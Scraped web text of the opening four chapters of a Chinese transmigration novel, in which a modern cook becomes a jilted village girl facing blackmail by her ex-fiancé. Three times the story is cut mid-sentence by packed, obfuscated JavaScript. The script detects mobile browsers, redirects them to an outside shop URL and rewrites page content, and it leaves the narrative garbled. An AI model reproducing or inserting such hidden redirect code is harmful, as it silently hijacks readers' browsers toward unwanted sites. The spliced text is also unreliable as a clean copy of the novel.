《市井摆摊美食日常》 1. 第 1 章 秋高气爽，村子里的烟囱陆陆续续冒出缕缕青烟，挂在远山的金乌使劲扒拉在山沿，努力释放自己的光辉，为稻谷渡上了一层金边儿，金乌挣扎了半响，终是落了下去，瞬间，暮色如潮水般漫过天际。 等到脚下的作物成了一团黑影，忙碌的人们才舍得直起腰，擦干额角的汗水，摸着黑收拾镰刀扁担，沿着往日的脚步，三三两两相约归家。 外面纷杂的声音唤醒了发怔的姜宁，她盯着木窗上那越来越暗的天光，心也一直往下沉——天真的塌了。 她第一万次不死心的闭上眼睛，再次睁开。 入眼依旧是拥有三十二个结巴的木窗，上头糊着已经泛黄翘边的白毛纸，左下角还透了个指头大小的口子，窗子边是参杂碎稻草的黄泥厚墙，上头屋顶排列整齐的木橼上，压着数不尽的青瓦，像压在她心头的阴影，没有尽头。躲在房梁间忙碌吐丝的蜘蛛，不时吊屁股朝她挥舞前爪，嘲笑她的不甘。 一桩桩，一样样，都让姜宁眼前一黑又一黑。 眼前的种种，脑子里多出的记忆，即便她再不愿意，也不得不承认，她穿越了，穿到这个封闭落后的小村子，和她同名不同姓的小姑娘苏宁身上。 姜宁原本在深市的格子间当牛马，公司引入ai后优化失业，因平时爱鼓捣些美食犒劳自己，顺便投喂身边的朋友同事，手艺得到大家一致好评，优化后她干脆在家弄了个工作餐配送服务，因做的工作餐干净味美有锅气，品种齐全营养全，还送货上门，受到广大牛马阶层的信赖推广，半年就做大做强，她租了个院子，增加了私房菜服务，正做得有声有色，从从容容游刃有余，谁料变故横生。 想到这她便一阵牙疼。 这日晚间殷切送走最后一位尊贵的客人，等着碗筷消毒的功夫，她瘫在沙发上，揉着笑僵的脸颊，忍不住划拉两下手机，随意听本书放空一下智商，便听到这个叫苏宁的小姑娘，被未婚夫退婚后，一根绳子吊死了自己，未婚夫和新欢经历一番曲折的虐恋情深，终于步入幸福恩爱的婚姻殿堂。 姜宁整个人就不好了。 她忍不住痛骂此书的作者，白瞎了苏宁这样大气厉害的商场名字，受了窝囊和委屈之后，竟然选择让她生吞窝囊气，姜宁气得心梗当场爆发，疼得一口气没上来，便昏死过去。 等醒来，她便成了书里的苏宁，脑海里多了许多独属于苏宁的记忆。 姜宁躺在硬邦邦的木床上，感受着脖间火辣辣的勒痕，连呼好家伙，她不过对着空气骂了几句，这作者竟然把她给从现代化社会，弄到了封建社会，比缅甸电信园还黑。 好汉不吃眼前亏，她顾不得嗓子的疼痛，对着空气哀声哭求，痛哭流涕，撒泼打滚，请求作者大人将她放回去，也试着再吊一次，撞了好几次墙，争取回去，折腾了三四天，结果是竹篮子打水一场空。 回答她的只有屋顶忙碌绕丝看热闹吃蚊子的蜘蛛，和苏宁娘姜氏惊惧的眼神。 苏家担心她再次寻死觅活，现在用布条把她绑在床头上，避免她再次做傻事。 不能动弹的苏宁回想苏宁的处境。 苏家是苏家村的大户之一，十多年前才起了青瓦的四合院，周边还有三十多亩的田地，日子也算过得去。 苏宁爹是苏家老二苏守，二房夫妻两极度宠爱女主，经常举高高，不时买些精美的点心哄女儿开心，还把她送去村子里私塾里认字。 可惜苏老二八年前出去做工，回家路上被盗匪害了性命，得到消息的苏宁娘气急攻心，早产生下了弟弟苏慎，失了顶梁柱的娘三个住在西厢房，成了苏家的小透明，日子一日不如一日。 东厢房是苏家大房苏宗一家子，朝南的上房便是苏家二老和没成婚的苏老三苏宽，苏小姑苏宜。 门嘎吱响动，进来一个面黄肌瘦的男孩，大大的脑袋下，单薄的身子在空空的粗布衣裳里晃荡，这便是苏宁的弟弟苏慎。 苏慎双手端着满满一碗米粥，慢慢挪到她面前，用小木勺舀了半勺喂到苏宁唇边，嘴里还殷殷劝慰：“二姐，你喝点粥吧，这是今年才收的新稻，阿娘特意去村长家舂来的，又香又甜，可好吃了。” 说完自己忍不住咽了一口口水，担心阿姐嫌弃，他头把头往后撇，离陶碗远远的，连忙保证，“你放心，熬粥的瓦罐我去河边洗了三次，然后一直守在旁边，保证干干净净，没有落入一点灰尘。” 姜宁闹腾了这几天，白白多了些伤痕，算是想明白了，她来到了这个世界，估计得留在这里，等男女主走完剧情，她才能回家。 而且，还有个问题，她在现代的身体，心梗后不晓得还能不能用？ 她来的时候，苏宁已经魂消魄散了，她白白占了苏宁的躯壳，至少要帮她照顾好她的家人，收拾她的仇人。 姜宁做事干脆利落，下定决心便不再扭捏，不再绝食，就着苏慎的小手，抿了一口稀粥。 稻米的清甜香浓瞬间充满了舌尖，亮晶晶的米油浸润了她干涸的嘴唇，抚慰了她的委屈。一口接一口，她喝了半碗，不愿意再喝，用粗粝的嗓子道：“那些，你喝了！” 她看明白了，这小子口水都快咽了一肚子，都不愿意偷吃，是个懂事的好孩子。 苏慎阿了一下，呆呆的看着她。 姜宁在心里翻了白眼，记忆中的苏宁因为苏守的溺爱，娇惯护食恋爱脑，得了点好物件，要么独占，要么送去讨好男主，她眼里根本没有母亲和弟弟。 姜宁故意粗声粗气哼了一声：“我饱了！” 苏慎受宠若惊的看了她一眼，再次确认苏宁饱了后，晃荡到外间的桌子上，拿了一个茶碗，飞快的倒出满满一碗，用另外一个碗盖好，又飞回来，端着只剩一个碗底的粥，甜甜的笑道：“谢谢二姐，那些给阿娘干活回来喝！” 苏慎知道二姐嫌弃他，自觉从床边挪开，蹲在一边的空地上，抬着快空了的碗，半勺半勺把碗底的米粥刮到嘴里，眼睛满足的眯成一条缝，吃完还用舌头顺着碗底舔了一遍，餍足的打了个嗝。 姜宁…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991607|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她明白了，苏慎这么瘦小，不是因为早产，是饿的，想来苏家日子没有想象中的宽裕。顺便鄙夷苏宁恋爱脑晚癌没救，都吃不饱了，还有心思惦记搞男人，搞钱不好么？ 姜宁视线转到手腕上，示意苏慎：“解开！” 惬意的苏慎立马戒备起来，头上的绒发都紧张得竖了起来，他搜寻周围可能有危险的物品，手里有个缺口的碗也藏到了身后，干巴巴道：“你又想做什，胡家不愿意和你成婚，等我长大了和你成，好不好？我保证比那个胡光骏长得高，对你好！” 姜宁哭笑不得，小屁孩知道长大了可以成婚，哄她开心呢。 她粗着嗓音逗小孩：“嗯，我想明白了，不死，重新，找个，姐夫。” 苏慎盯着她看了半响，没找到之前她身上那种让人害怕的疯执怨怼，转而开心起来，手忙脚乱给她松绑，一脸理所当然：“就是嘛，你是我姐，整个叶城最好看的人，我们村的小子，个个排着队想和你成婚。” 他不明白，二姐为啥非要盯着那个尖脸猴腮的胡光骏。 姐弟两正絮叨着，外头姜氏带着苏悦进了门。 姜氏扫过她扭动的手腕，狠狠瞪了一眼儿子：“我怎么交代你的，让你看好你姐，你耳朵被耗子吃了，是不是不会听话！” 转身又对着苏宁开喷：“没出息的玩意，老娘把你辛辛苦苦养大，你为了个卵蛋，这么作践身子，再弄一次，老娘抽死你！” 说着弯腰捡起地上散乱的布条，就要来重新给她绑上。 姜宁非本尊，心虚，不敢还嘴，只一位低着头躲手臂，不愿意被绑。 一旁逗巧儿说话的苏慎弱弱解释：“娘，二姐说要重新找个姐夫，愿意喝粥，我才放开她的。诺，外间桌上是我们给你留的粥，你快去乘热喝了吧。” 姜宁赶忙点头。 苏悦凑上前，细细打量面前的妹妹，见她面上没有哀苦之色，按着姜氏的手，对她使了个眼色。 姜氏冷哼一声，抱着巧儿扭身去了外间，小勺小勺的哄着巧儿喝白粥，老鹰一样锋利的眼神不时扫过里间，一有个风吹草动，保证第一时间把苏宁的小胳膊打折。 苏悦坐在床边，视线扫过她脖子间的紫痕，脑门上的淤青，恨铁不成刚的在她脑门点了一指头：“我的傻妹妹，要是你真的有个三长两短，你让阿娘，让我们怎么办！幸好幸好，你想明白了。” 看着面前默默不语的苏宁，她下了一剂猛药：“这几日街坊流传，半月前，有架贵人马车在胡家外惊马，胡光骏恰缝其会，按住惊马，救了马车里的贵人，贵人很是赏识胡光骏，问他可曾婚配？ 他在人来人往的大街上，直截了当说是未曾成婚，当晚带消息来和你退了婚，这是打着攀高枝的主意，妹妹，听我句劝，你们从小青梅竹马的情分，抵不过贵人的一句询问，这男的天生一副趋炎附势骨，不是良人，就这样丢开罢！” 苏宁默默听着，双手绞着袖子，听到这猛地抬起头：“他休想！” 2. 第 2 章 苏悦痛苦的深深吸一口气，不由得声急色厉：“苏宁，你醒醒吧，那胡家要攀高枝，你一个没爹的乡下女娃，拿什么和人家争？就靠你会哭闹加上吊，会哐哐撞大墙？” 苏悦焦躁烦闷，娘家就没一个让人省心的。 阿娘性子火爆莽撞，阿弟孱弱年小，自己在周家又不得婆婆欢喜，二妹长得妍丽明媚，原指望她能靠着这张脸高嫁，哪晓得是个脑子进了浆糊的，竟被胡家小子迷了心，胡家在叶城开个饭馆，家境殷实，她认了。 如今岁数大，年底就要成婚，偏偏胡家退了婚，知道内情的，晓得胡家不做人，不知道内情的，还不晓得如何编排阿宁，一想到这，她便焦得一夜一夜睡不着，头发一把一把往下掉。 更可恨的，自己妹子是个心瞎眼盲的，把个软脚鸡当宝，还像个狗一样，死咬着不愿意放嘴。 姜宁看着苏悦气得通红的眼，弱弱解释：“大姐，物件，还回来，退！” 苏悦一肚子的话要说：“你老老实实躲在家里几年，等风声过了……” 她忽而愣住，惊讶的看着面前的妹妹：“你说什么，你同意退婚？” 姜宁在她怀疑的眼光中，重重的点了点头，坚定道：“送给胡家的物件，我去，要回来，退婚。 我，买吃的给娘，送弟读书。” 苏悦转了转眼珠，二妹说得确实有道理，两家是交换了庚帖的，时节互送些物件，要退婚也要大大方方的，把庚帖要回来，胡家打发人带了句退婚的话回来，弄出风波后躲着做缩头乌龟，不言不语的，是个什么意思？ 互换的节礼不值当多少，但她舒心极了，好歹妹妹分得清谁才是她的家人，不再一根筋使在那胡小子身上。 这事必须得办好。 扫过妹妹那张明艳的脸，和受伤的嗓子，担心妹妹去了吃亏：“这样，我回去让你姐夫转告那姓胡的，让他带着物件来家里换。” 苏悦嫁的是叶城粮铺周家，父亲帮她定的婚，她出嫁时，父亲还在，婆母体恤，丈夫疼人，后来父亲过世，母亲在娘家说不上话，家里一落千丈，自己迟迟没有娃儿，婆婆开始冷言冷语，她心中苦闷，那时阿娘一人照顾不过两个孩子，她时常把妹妹接去周家解闷，也希望孩子的热闹帮她带来一个孩子。 熬了这么些年，前年得了巧儿一个宝贝，婆婆脸上也舒缓了些，言语了都催着让她赶紧继续生儿子。 在周家时，粉雕玉啄的妹妹非常逗人稀罕，旁边饭馆的胡家小子时常来找他们玩儿，不晓得那小子使了什么手段，迷得阿宁非他不嫁，早早的订了婚。 周家卖粮经常和胡家打交道，胡家饭馆经常从周家粮铺买些陈米当新饭卖，她一直觉得胡家不妥当，这门婚事她是不同意的，耐不住妹妹闹腾，现在能退婚，她其实求之不得。 如今妹妹愿意退婚，那是再好不过的，等个一二年，她再帮妹妹寻个富足良善的人家，总算了切她的一桩心事。 办完了事，苏悦不多呆，出去外间抱了巧儿，用背篼把巧儿绑在身前腰上，找姜氏要了条干净的裤子顶在巧儿脑袋上。本地习惯，小人儿晚间出门，要躲在泼辣女人的裤子下面，才不会被外头游荡的孤魂野鬼吓到。 她嘴里絮叨着：“阿娘，带来的点心不要省，快些吃了，莫要放坏了！阿爷那边我已经送了些过去，不用再分，这些是单给你们的。” 姜氏听她要走，不好多留，慌忙打开柜子，里头篮子里还有十三个鸡蛋，她数了数嫌少，把新舂好的半盆新米倒进去篮子里大半，莹白的鸡蛋像是米海里的小岛，看着好看了些，不再孤零零的，她干脆连着篮子一起提着，递给苏慎，命他小心抱着，出门到上房寻没成婚的苏老三，请他送苏悦回城。 苏悦看了眼鸡蛋，正要推脱，苏慎大方道：“大姐你带着吧，今年新舂的米，熬粥巧儿爱喝。” 里间的姜宁挣扎着爬起来，靠在门边，殷殷看着她：“姐，带着！” 周家开米铺的，哪里会缺了米去，他们这是担心空手回去婆婆给她脸色呢。 苏悦担心晚了城门落匙，不再推脱，尾随弟弟，抱着巧儿，外头苏宽打着火把，领着姐弟两人往叶城赶。 秋日的晚风有些凉，她担忧的紧了紧怀里的襁褓，生怕吹到巧儿，悄悄低头看去，巧儿躲在里头，大眼睛几骨碌转，看见她低头，大大裂开一个笑来，露出两颗才冒尖的小米牙，，啊啊叫唤，欢快极了。 几人快走慢赶，天黑前到了周家粮铺，韦婆子在收拢粮袋，丈夫周鑫忙着关门，看到苏悦回来，连忙来接过她怀里的巧儿，嘴里客气着请苏宽苏慎进屋喝水，韦婆子嘴角下撇嘀咕：“大晚上的来，蹭晚饭吃呢！” 苏宽笑道：“亲家大姐好啊，我和阿悦她弟送阿悦回来，赶着回去，就不进屋了，你们忙哈！” 苏慎把篮子递给姐夫周鑫：“姐夫，这是我喂的鸡下的头茬蛋，村里的老人说最是补人，你们尝尝味道，要还好，我攒多了给你们送来！” 两人不耐烦听韦婆子啰嗦，转身便走，赶在落锁前出了城门。 关了粮铺门的韦婆子尤自唠叨，“弄了一大包点心去，就带了这么三两个鸡蛋回来，也好意思！” 小叔和弟弟送自己回来，连口水也没能喝一口，苏悦气正不顺，闻言冷笑：“娘，那点心是舅舅家卖不掉送来的，正常买也才十铜板一袋，我弟喂虫子的小母鸡下的头茬蛋，街上都买不着，偶尔碰到，也要三个铜板一个呢，我娘让专给巧儿补身子的，你要嫌弃小，可别吃哈！” 韦氏哼了一声，骂道：“你娘家穷的连个鸡蛋当宝贝，谁稀罕！” 苏悦恼怒，丢了手里的扫把回嘴，周鑫连忙抱着她，把她往厨房里赶：“阿悦，我稀罕，我稀罕，你快去蒸了给我吃，我今天搬了一天粮食，腰都快累断了，阿慎的鸡蛋真给到我心口上了！” 哄走媳妇，他又开导自家娘：“她这几日因为她妹妹的事心气不顺，您稍微体恤些，再说，您给她包点心回去，是舅舅家卖剩拿过来的，放着一二天要扔掉，她带回来鸡蛋新米什么的，也值五六十文，您守一天铺子，也才赚百八十文的，这么个无本买卖，您还有啥不满意的，何苦说些让人不高兴的话！” 韦婆子心忧儿子娶了媳妇忘了娘，时常在儿子媳妇间搅和，听儿子这么算计儿媳，转怒为喜，笑呵呵道：“还是我儿子聪明！你说的是，我以后经常让她回娘家去！” 岳父在时，苏家光景还成，现在还不晓得要闹什么饥荒。周鑫苦笑：“可别，她要回娘家去，谁做饭洗衣带孩子伺候您啊，是不这个道理？” 韦婆子一琢磨也是，收拾打扫粮铺这么个活计，原本是苏悦的，她今晚回娘家，韦婆子顶了半天，这会子腰酸背疼的，难受得紧。 气顺了的韦婆子不闹腾，破天荒从脖子里掏出一窜钥匙，打开钱柜，掏出一枚铜板，抱过巧儿，逗小娃玩儿。 约莫半个时辰，铺子收拾利落，门窗紧闭，火房里的苏悦招呼吃饭，一家子坐在饭桌旁，韦婆子盯着一甑子粒粒分明饱满莹白的干米饭，就要发作，周鑫咳嗽一声，连忙捡起碗筷添饭：“咦，看成色，这是这两天才打的新米哦，难怪苏慎眼巴巴送了来，大老远就闻到香味！娘您先尝尝味道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991608|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他先满满添了一碗送给韦氏，添一碗给自己，半碗给女儿，最后剩下的半碗分给苏悦。 然后把桌上唯一一个菜蒸鸡蛋羹，也一样的分给四人。 韦氏冷哼一声，不做声，专心吃饭。 苏悦看一眼丈夫，他才添了半碗饭给自己，肚里闷得如同装了石头。 世道就是这样，她好几年才生了个女孩，丈夫不赌不嫖，对他不打不骂，婆婆骂她时他还护着她，对比其他家的媳妇，不是被打就是被骂，她应该感激满意才对，只是为什么会感觉心口堵得慌？ 她举起碗筷吃起来，米粒分明，表面浮出一层米油，晶莹剔透，带着新米特有的清甜，入嘴便如同置身在无尽的金黄稻浪中，蓝天白云下，旷达而喜悦。 不愧是头茬鸡蛋，蛋羹淡黄偏橙，夹起一块，晃悠悠颤巍巍要掉不掉，嫩得入口即化，鲜得让人几乎吞掉舌头。 巧儿拿着自己的小勺，大勺大勺的往嘴巴里送，乖巧贪吃，苏悦忍不住把自己碗里的蛋羹全扒到巧儿碗里，温柔看着她。 巧儿看看她，低头看看自己的碗，晃悠着小手，舀了大大一勺喂到苏悦唇边，稚嫩的声线软到人心口里去：“娘，啊！” 苏悦肚腹的戾气瞬间消融，只剩下母亲的柔润。 快了，等妹妹嫁人，等弟弟成人，等女儿长大，等婆婆去了，她便熬出来了。 晚间安置，她做低伏小了一回，低声和周鑫说了苏宁的意思，周鑫点头道理应如此，次日天明便把隔壁要出门的胡光骏堵了。 他皮笑肉不笑道：“胡老弟，我们街坊邻居这么多年，你也是我看着长大的，算是半个亲戚。婚事既然不成就罢了，大家好聚好散。” “既然要退婚，你收拾收拾我妻妹送你的物件，和庚帖，尽快去苏家村一趟，把你的东西和庚帖换回来，干干脆脆的，是不？” “你也知道，我那岳母性子难缠，万一惹急了她，弄出些事来不体面。” 胡光骏看一眼面前身形高大的邻居，差一点他们就成了连襟。 他心底暗叹可惜，而后笑道：“周哥放心，我近日得空，便去苏家说个明白。” 打发走周鑫，胡光骏面上闪过一丝阴狠。 上辈子他也救了路过的高明珠，一口拒绝了高明珠的示好，娶了苏宁，就此蹉跎了一生，而高明珠呢，十年后受封成了公主，是他遥不可及的存在，重生一世，他不好好把握这个机会，妄费佛祖对他的眷顾。 只是，哪个男人会不喜欢一个明艳妖娆，满心满眼都是自己的女子呢，即便心中再不舍，他决定为了前途，必须舍弃苏宁。 其二，苏宁这些年送了他好些东西，特别是订婚后的第一年生辰，两人见面时，她把从小挂在项上的平安扣解下来送给他，说是能替她日日陪伴在他身边，那平安扣水汪汪的，散发着莹白的光泽，润极了，也不知道她从哪得的。 后来他悄悄去当铺里试探，掌柜竟然出价三十两。当铺最是黑心，他估摸着，那个平安扣能值六十两。 新上的白米不过五文一斤，叶城外养好的熟田五两一亩，这扣子便是十二亩田，一万多斤新米，足够苏家娘三安安稳稳过十年。 后头几年送的，不过是些普通的玩意儿，倒不值当什么。 如今退婚，平安扣肯定是要还回去的，胡光骏一阵肉疼，焦躁得在街上乱钻，难道就没有两全其美的办法？ 他在左右惋惜的时候，在床上躺尸的姜宁脑海里传来一个声线平稳机械女音：“检测到宿主丈夫心疼牵挂宿主，奖励一个小红心，狐媚系统开启！” 3. 第 3 章 这日金乌归巢，胡光骏提了两包韦家的点心，款款上了苏家的门。 他琢磨了几天，还真让他琢磨个法子。 胡光骏规规矩矩进了西厢房，脚就要往里间拐，姜氏掐腰拦住，鼻孔里哼出声，指着四方桌上的包裹：“诺，这是你给我们阿宁的物件，还有你的庚帖，阿宁的庚帖呢？” 原来的苏宁把胡光骏放在心尖尖，他送的东西全装在一个箱子里珍藏，不用她另寻，直接搬出来了事。 那夜阿宁已经被她姐姐劝慰开解开，睡了一觉，又痴痴念叨着要去寻姓胡的，姜氏气得肝疼。 她哪能同意，命令儿子寸步不离守着女儿，一有不对，立马叫人。当然，为了防止女儿逃跑，内间的门被她锁了起来。 胡光骏收了自己的庚帖，没有碰包裹，都是些不值钱的胭脂水粉，要来作甚，他原本想废物利用，转送他人，转念又想，高小姐从小锦衣玉食，哪里看得上这些粗鄙的胭脂，得重新寻些不常见的。 退后两步，扑通跪下，嘴里恭敬道：“小婿见过岳母大人，这其中有些误会，您听我解释。” “我心里只有阿宁，那日在街上因缘巧合救了高小姐，那高小姐非我不嫁，扬言若是不同意，便要砸了我家饭馆，我也被逼无奈的！” 姜氏懒得同他掰扯：“我呸，你要另攀高枝便去，和我苏家不相干，快把阿宁庚帖交出来，往日她送你的物件还来，从此大路朝天，各走一边。不然，我便去城主府门口敲鼓，请城主大人给我女儿个公道！也让整个叶城百姓评评理，你胡家饭馆背信弃义，是个什么东西！” 胡光骏高声道：“岳母大人放心，我对阿宁情比金坚，我会一辈子对阿宁好的。我已经在叶城置办好宅子，今日便是来接她过去的。待高小姐生了孩儿，再接阿宁进府，到时候她跟着我吃香喝辣穿金戴银，风光自在！” 姜氏浓眉倒竖：“你竟打算让阿宁给你做外室，做你的癞蛤蟆梦！” 这还能忍？ 她抬脚踹翻胡光骏，骑着他身上左右开弓甩了几个嘴巴子，胡光骏一开始嘴硬说阿宁非他不嫁，他也是为了阿宁好，脸肿了后，嘴里只剩下错了，求饶等字。 西厢房乒乓叮当响，上房的苏家人担心二房吃亏，早就奔了进来，袖手瞧着姜氏打得差不多，再打下去就把胡光骏打死了，装模作样抱住姜氏：“行啦行啦，胡家小子知道错了，算了！” 七嘴八舌指责胡光骏：“你明知阿宁娘性子烈，何苦说些混账话气她！” 苏老头努努嘴，苏老大苏宗和苏宽，一左一右驾着胡光骏去了上房，坐定后，苏宽客客气气倒了一碗水给他。 苏老头责备：“胡家小子，不是我老头子说你，今天这事你做得特不地道，难怪你姜婶子生气。你和阿宁订婚五六年，这些年都处成亲戚，时过境迁，不合适拉倒，我家阿宁百里挑一的美人，不会赖着你，以后接她去宅子什么的话，就不要再说！” “老三，你侄儿手上不得劲，你帮他把阿宁的庚帖取回来！” 苏宽诶一声，凑上前，伸手往胡光骏怀里掏，半天没掏到。 胡光骏脸肿得像馒头，早就没有之前俊俏风流的模样。 他噗通一声跪在苏老头面前，边哭边喊：“阿爷，我，我也不想的，可是，我，阿宁离了我不能活，我能怎么办啊？” 阿宁寻死的事被他知道了，他在肚内腹诽老二媳妇是个嘴上没门的。 苏老头脸色刷拉的变了：“阿宁性子倔，过些日子就好了，你莫要想多了！” 胡光骏吞吞吐吐：“阿宁，阿宁已经是我的人了，不跟我，她只有死路一条，我也是没奈何，才出此下策！” 此事只要开了头，后面就好说了，图穷匕见，他终于亮出了手中的底牌：“阿宁背中有一个九瓣梅花胎记，艳如胭脂，您要不信，你让阿奶亲自验看。” 不用验看，苏老头面如死灰的脸色，便知道他说的是真的。 有一年农忙，老二两口子在田里忙绿，老婆子在家看孩子，阿宁淘气，掉到水缸里，老婆子帮忙换的衣服，惊讶的和他说了此事。 谋算光明正大摆在桌面上，胡光骏看着对面接受他跪拜的三个长辈恼怒愤恨，恨不能生吞了他，却无可奈何的模样，就一阵得意，好似自己才是坐着的那个人，继续慢悠悠道：“要是外头的人知晓了此事，苏家胡家的脸面都没了。” 这便是赤裸裸的威胁。 此事流传出去，对于胡家来说，最多是茶余饭后的笑料，可是对于苏家来说，便是灾难。扣上个婚前失贞的名头，试问，谁还愿意和苏家的女儿成婚。 苏宗面如锅底，他还有三个女儿待字闺中。 苏老头想起最疼爱还未说亲的幺女，咬着后槽牙瓮声瓮气询问：“想必你有应对之法？” 胡光骏从容掏出个钱袋，展示出里头十八两银子：“既然岳母不愿意阿宁跟我去城里，劳烦阿爷和大伯，帮我照顾阿宁一年，让她躲在家中，免得被外面的俗事烦心。 待明年这个时候我骑马领着花轿亲自接她，彩礼一次补清一百两。我也知道岳父不在，岳母没个进项，也不劳烦祖父大伯为她准备嫁妆，她自己就是最好的嫁妆，这点子零碎银子算是她半年的嚼用。” 他双手捧着钱袋，做足了谦逊的模样，可面上却是洋洋得意，胜卷在握。 苏家现在苏老头和苏大伯做主，为了苏家幺女和苏家大房三个女儿的名声，想必他们一定同意将苏宁软禁，更何况，明年还有一百两银子可拿。 苏老头深吸一口气，颤抖着双手接过钱袋，他愧对老二，没有护好他的妻儿。 罢了，只能怨苏宁自己不争气。 最后，胡光骏顺走院墙跟下一盆打骨朵的金花茶，大摇大摆走出苏家门。 啧，这花儿颜色金黄，贵气庄重，弄去送给高小姐，她一定开心。 等人走后，苏老头亲自找来一把锁，挂在了西厢房的门上，将二房三人关在屋内。 姜氏气急，把门拍的哗啦响：“阿爹，姓胡的都欺负到门上，把我从山里移栽的花搬走，你不打回去，为我们做主，还来锁着我们，是哪门子的道理？” 苏老头声音冰冷：“姜氏，你养的好闺女！背上的胎记都给人看了去，你还有脸问我。” 他对着孙女惊愕的双眼，痛心疾首：“阿宁，我不怪你婚前失贞，只怨你没长眼睛，找了这么个卑鄙小人，还让人捏住把柄，带累你三个妹妹和小姑。你们娘三在家好好反省，不许踏出房门一步，等那姓胡的明年来接你，此事才能遮掩过去。 你，认命罢！” 苏宁惊得跌坐在地上，她翻遍原主的记忆嘎嘎角落，无比确定原主和姓胡的没有肌肤之亲，那姓胡的如何会知道她背上有胎记？ 晴天霹雳，姜氏顾不得花儿，转过身，失望的眼神犹如实质，几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991609|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她身上扎个洞：“苏宁，你阿爷说的，是真的？” 姜宁吓得脸色苍白：“我，我没有，阿娘，真没有。” 她一剪刀叉掉自己的头发，用粗粝的嗓子指天发誓：“阿娘，我之前心里有他，是想和他正经做夫妻的，如何肯轻贱了自己，你相信我，我真的没有和他做过越矩的事。我那日想着去找他，只是亲自和他做个了断，取回我自己的庚帖，若我再对他有一丝情谊，犹如此发！” 那日脑海里冒出的机械音，好似她的幻听，她悄悄试着研究了好几日，一点动静都没有，联系机械音说检测到宿主丈夫，唯一的解释便是在姓胡的身上，她需要找姓胡的弄个明白。 姜氏扫过地上的乌黑的头发，又在脸上找了半响，女儿仍旧如原来那般光彩妩媚，但好似多了些决断英气，眼神清明，熠熠生辉，少了些迷糊迷茫。 姜氏态度软化下来，姜宁乘机和她商量：“阿娘，我们逃了吧？阿爷和大伯受胡光骏胁迫，把我们关起来，那下次胡光骏来，要和我圆房，阿爷他们答应怎么办？” 姜氏皱眉：“你爷不能吧？” 苏家算是比较开明的人家，没有分家，允许有私产。每房出一人下田劳作，出一人在家收拾家务，地里的产出算是公中，合伙吃饭，每房私下赚的钱财上交公中六分，自己留四分。 大房人多力足，大伯下田种地，大堂妹在家干家务，其他两个儿子跟着屠户杀猪宰羊打下手，大伯娘带着另外两个女儿纺纱织布，日日有进项，过得宽裕。 二房苏慎自小体弱，小时三天两头生病，之前苏守赚下的积蓄全都换成药，这两年年龄大些身子渐渐好了，但天气变换时节也是不敢出门的。 姜氏要下田忙碌，苏宁在家帮忙做饭，哪里还有力气赚外快上交。 阿奶很是不满，经常冷言二房都是些吃白饭的，唠叨二房要有成算，要攒钱交徭役，念叨姜氏不要偷懒，去外面寻些浆洗的活计，不然冬天的徭役就派苏慎去。 有了公中托底，二房吃得饱，但其实只是吃得饱，其他的就别想了。 姜宁乘热打铁：“阿娘，即便我认命当了胡光骏的外室，依他霸道性子，肯定不许我照顾阿弟，冬天就轮到我们二房出人服徭役，若不想想办法，就眼睁睁看着阿弟去送死？” 徭役是衙门强制捐派的，要求每家出一名男丁，自带干粮修路、或挖渠、或建房，去年是大伯，回来的时候瘦得不成人形，躺着养了一个月。今年到二房，可二房就周慎一个八岁的病秧子，如何去得。 姜氏冷哼：“我一把子力气，我顶阿慎去！” 姜宁觑着她淡淡泼冷水：“衙门规定男丁，到时候如何请公差同意，把阿慎换成您呢？” 姜氏火了，一巴掌拍在她肩上：“有屁快放，莫要兜圈子！” 姜宁捂着肩膀缩着脖子：“阿娘，您轻点！”揉了几下肩膀才道：“我们偷偷藏到叶城去落脚，一来躲着那姓胡的，他肯定想不到我们就躲在他眼皮子底下，这叫灯下黑，二来，叶城人烟密集，您也好寻些活计赚些外快，若是冬天前赚够阿弟的徭役钱，我们再回来就是！” 姜宁心里砰砰跳，知道说的太多，低头灌了两大口水，滋润冒烟的嗓子，借机躲过姜氏审视的目光。 姜氏眯起眼盯着面前的人，狠厉道：“你到底是谁？” 她养大的女儿她清楚，苏宁从小和她一样，只长脸蛋不长脑子！ 4. 第 4 章 你到底是谁？ 姜宁打了个冷颤，终是被怀疑了！ 她愣了一瞬间，而后委屈气愤的躺在地上翻滚踢蹬爬行，恼怒至极，粗哑着嗓子垂足顿胸撒泼大骂：“姜万荷，我就知道，你重男轻女，你偏心，你心里只有苏慎，我就是从山沟沟里捡回来的，不值钱的野丫头，我都说了我要去叶城，你怎么就不同意！” “你不同意算了，这个家只剩你们娘两人过，我死了干净！” 说完一骨碌爬起身，糊着满头满脸的鼻泪就朝墙上撞！ 